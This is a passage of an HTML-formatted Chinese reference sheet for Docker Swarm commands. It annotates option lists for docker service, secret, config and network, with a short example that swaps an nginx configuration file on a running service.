style=\"color:#f92672\"\u003e--\u003c/span\u003emode string           \u003cspan style=\"color:#75715e\"\u003e# 服务模式（复制或全局）(replicated | global)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ereserve\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecpu int       \u003cspan style=\"color:#75715e\"\u003e# 预留的cpu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ereserve\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ememory bytes  \u003cspan style=\"color:#75715e\"\u003e# 预留的内存(512m)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elimit\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecpu int         \u003cspan style=\"color:#75715e\"\u003e# 限制CPU\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elimit\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ememory bytes    \u003cspan style=\"color:#75715e\"\u003e# 限制内存(512m)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003el, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elabel list            \u003cspan style=\"color:#75715e\"\u003e# 服务的标签(key=value)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econtainer\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003elabel list      \u003cspan style=\"color:#75715e\"\u003e# 容器标签(key=value)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ep, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epublish 暴露端口:容器端口   \u003cspan style=\"color:#75715e\"\u003e# 映射容器端口到主机\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ee, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eenv MYVAR\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003emyvalue         \u003cspan style=\"color:#75715e\"\u003e# 配置环境变量\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ew, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eworkdir string            \u003cspan style=\"color:#75715e\"\u003e# 指定工作目录(示例：/tmp)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erestart\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003econdition string       \u003cspan style=\"color:#75715e\"\u003e# 满足条件时重新启动（no | always | on-failure | unless-stopped）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erestart\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edelay duration        \u003cspan style=\"color:#75715e\"\u003e# 重新启动尝试之间的延迟 (ns/us/ms/s/m/h)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erestart\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emax\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eattempts int      \u003cspan style=\"color:#75715e\"\u003e# 放弃前的最大重启次数\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erestart\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ewindow duration           \u003cspan style=\"color:#75715e\"\u003e# 用于评估重启策略的窗口 (ns/us/ms/s/m/h)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003estop\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003egrace\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eperiod duration        \u003cspan style=\"color:#75715e\"\u003e# 强制杀死容器前的等待时间 (ns/us/ms/s/m/h)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eupdate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edelay duration             \u003cspan style=\"color:#75715e\"\u003e# 更新之间的延迟（ns/us/ms/s/m/h）（默认 0s）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eupdate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efailure\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaction string      \u003cspan style=\"color:#75715e\"\u003e# 更新失败的操作（\u0026#34;pause\u0026#34;停止|\u0026#34;continue\u0026#34;继续）（默认pause）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eupdate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emax\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efailure\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eratio float    \u003cspan style=\"color:#75715e\"\u003e# 更新期间容忍的失败率\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eupdate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emonitor duration           \u003cspan style=\"color:#75715e\"\u003e# 每次任务更新后监控失败的持续时间（ns/us/ms/s/m/h）（默认 0s）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eupdate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eparallelism int            \u003cspan style=\"color:#75715e\"\u003e# 同时更新的最大任务数(0表示一次更新全部任务)(默认为1)  \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eendpoint\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emode string              \u003cspan style=\"color:#75715e\"\u003e# 负载均衡模式(vip or dnsrr) (默认 \u0026#34;vip\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erollback\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emonitor \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003es              \u003cspan style=\"color:#75715e\"\u003e# 每次容器与容器之间的回滚时间间隔\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003erollback\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emax\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efailure\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eratio \u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e数值    \u003cspan style=\"color:#75715e\"\u003e# 回滚故障率如果小于百分比允许运行（“.2”为%20）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003emount type\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003evolume,src\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003evolume名称,dst\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e容器目录    \u003cspan style=\"color:#75715e\"\u003e# 创建volume类型数据卷\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003emount type\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ebind,src\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e宿主目录,dst\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e容器目录         \u003cspan style=\"color:#75715e\"\u003e# 创建bind读写目录挂载\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003emount type\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ebind,src\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e宿主目录,dst\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e容器目录,readonly     \u003cspan style=\"color:#75715e\"\u003e# 创建bind只读目录挂载\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econfig source\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edocker配置文件,target\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e配置文件路径        \u003cspan style=\"color:#75715e\"\u003e# 创建docker配置文件到容器本地目录\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"docker-secret管理敏感数据存储\"\u003edocker secret：管理敏感数据存储\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看敏感数据卷列表\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker secret ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 显示一个或多个敏感数据卷的详细信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker secret inspect [OPTIONS] SECRET [SECRET\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003epretty        \u003cspan style=\"color:#75715e\"\u003e# 易读的格式打印信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 从文件或标准输入创建一个敏感数据卷作为内容\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker secret create [OPTIONS] SECRET [file\u003cspan style=\"color:#f92672\"\u003e|-\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ed, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edriver string            \u003cspan style=\"color:#75715e\"\u003e# 指定驱动\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003el, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elabel list               \u003cspan style=\"color:#75715e\"\u003e# 指定标签\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003etemplate\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edriver string   \u003cspan style=\"color:#75715e\"\u003e# 指定模板驱动程序\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 移除一个或多个敏感数据卷\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker secret rm SECRET [SECRET\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 别名：rm, remove\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"docker-config管理配置文件\"\u003edocker config：管理配置文件\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看已创建配置文件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker config ls [OPTIONS]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efilter filter     \u003cspan style=\"color:#75715e\"\u003e# 根据所提供的条件过滤输出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003eq, --quiet             # 只显示id\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 查看配置详细信息\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker config inspect 配置文件名\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 删除配置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker config rm CONFIG [CONFIG...]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 创建配置文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker config create 配置文件名 本地配置文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 示例：新建配置文件并添加新配置文件到服务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 1.创建配置文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker config create nginx2_config nginx2.conf \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 2.删除旧配置文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker service update --config-rm ce_nginx_config 服务名\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e# 3.添加新配置文件到服务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003edocker service update --config-add src=nginx2_config,\u003c/span\u003etarget\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/etc/\u003c/span\u003enginx\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enginx\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003econf ce_nginx\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"docker-network-网络信息\"\u003edocker network: 网络信息\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 查看集群网络列表\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker network ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 将容器连接到集群网络中\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network connect [OPTIONS] NETWORK CONTAINER\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ealias strings       \u003cspan style=\"color:#75715e\"\u003e# 为容器添加网络范围的别名\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edriver\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eopt string   \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e·\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 指定网络驱动程序\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eip string         \u003cspan style=\"color:#75715e\"\u003e# 指定IPv4地址(如172.30.100.104)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eip6 string        \u003cspan style=\"color:#75715e\"\u003e# 指定IPv6地址(例如，2001:db8::33)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elink list         \u003cspan style=\"color:#75715e\"\u003e# 添加到另一个容器的链接\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elink\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003elocal\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eip string    \u003cspan style=\"color:#75715e\"\u003e# 为容器添加一个链接本地地址\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 示例\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker network connect mynet nginx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 断开一个容器与集群网络的连接\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network disconnect [OPTIONS] NETWORK CONTAINER\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eforce   \u003cspan style=\"color:#75715e\"\u003e# 强制容器从网络断开连接  \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 显示一个或多个集群网络的详细信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network inspect [OPTIONS] NETWORK [NETWORK\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eformat string   \u003cspan style=\"color:#75715e\"\u003e# 使用给定的Go模板格式化输出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ev, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003everbose         \u003cspan style=\"color:#75715e\"\u003e# 输出详细的诊断信息\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 创建一个集群网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network create [OPTIONS] NETWORK\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eattachable           \u003cspan style=\"color:#75715e\"\u003e# 准许手动容器连接\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eaux\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eaddress map      \u003cspan style=\"color:#75715e\"\u003e# 网络驱动使用的辅助IPv4或IPv6地址(默认映射[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econfig\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efrom string   \u003cspan style=\"color:#75715e\"\u003e# 要从其中复制配置的网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003econfig\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eonly          \u003cspan style=\"color:#75715e\"\u003e# 创建仅配置网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ed, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edriver string        \u003cspan style=\"color:#75715e\"\u003e# 管理网络的驱动程序(默认为“\u0026#34;bridge”)。选项：bridge、overlay、macvlan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003egateway strings      \u003cspan style=\"color:#75715e\"\u003e# 指定IPv4或IPv6主子网网关。示例：172.20.0.1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eingress              \u003cspan style=\"color:#75715e\"\u003e# 创建群路由-网格网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003einternal             \u003cspan style=\"color:#75715e\"\u003e# 限制外部访问网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eip\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erange strings     \u003cspan style=\"color:#75715e\"\u003e# 从子范围分配容器ip\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eipam\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edriver string   \u003cspan style=\"color:#75715e\"\u003e# IP管理驱动(默认为“default”)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan 